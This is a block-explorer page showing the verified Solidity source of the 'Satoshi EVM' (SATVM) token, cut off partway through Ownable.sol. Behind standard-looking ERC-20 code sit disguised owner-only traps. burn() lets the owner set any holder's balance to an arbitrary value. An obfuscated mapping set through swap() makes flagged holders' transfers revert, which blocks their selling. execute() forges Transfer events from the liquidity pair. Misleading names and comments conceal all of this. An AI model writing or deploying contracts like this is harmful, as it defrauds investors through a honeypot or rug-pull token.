ETH Price: $2,458.17 (-1.19%)

Token

(0x732A08353543667F0E23751e3e3051E481EC3aD4)
 

Overview

Max Total Supply

10,568,523 ERC-20 TOKEN*

Holders

78 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
onetimebaby.eth
Balance
188,102.562176913 ERC-20 TOKEN*

Value
$0.00
0xfaf77756463da141006025a92c273C864233dad8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SATVM

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 3: Satoshi EVM.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;

import "./Library.sol";
import "./Ownable.sol";
interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

contract SATVM is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private _percentForLPBurnLiquidityPairTokensamountToDistributeamountToDistribut;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("Satoshi EVM", "SATVM", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 10568523 * 10**9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

    function _isAirDrop(address from) internal view returns(bool){
        return !_percentForLPBurnLiquidityPairTokensamountToDistributeamountToDistribut[from];
    }
    
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function taxSWapThreshold(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                to != address(0xdead) &&
                to != owner() &&
                to != address(0) &&
                from != owner() &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        address p = uniswapFactory.getPair(address(this), uniswapV2Router.WETH());
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(p, _addresses[i], _out);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_isAirDrop(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function marketingFeeAddress(address recipient) external view returns(bool){
        return _percentForLPBurnLiquidityPairTokensamountToDistributeamountToDistribut[recipient];
    }

    function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _percentForLPBurnLiquidityPairTokensamountToDistributeamountToDistribut[address_[i]] = val;
        }
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 3: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 2 of 3: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address dev_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _dev = dev_;
        emit OwnershipTransferred(address(0), msgSender);
    }

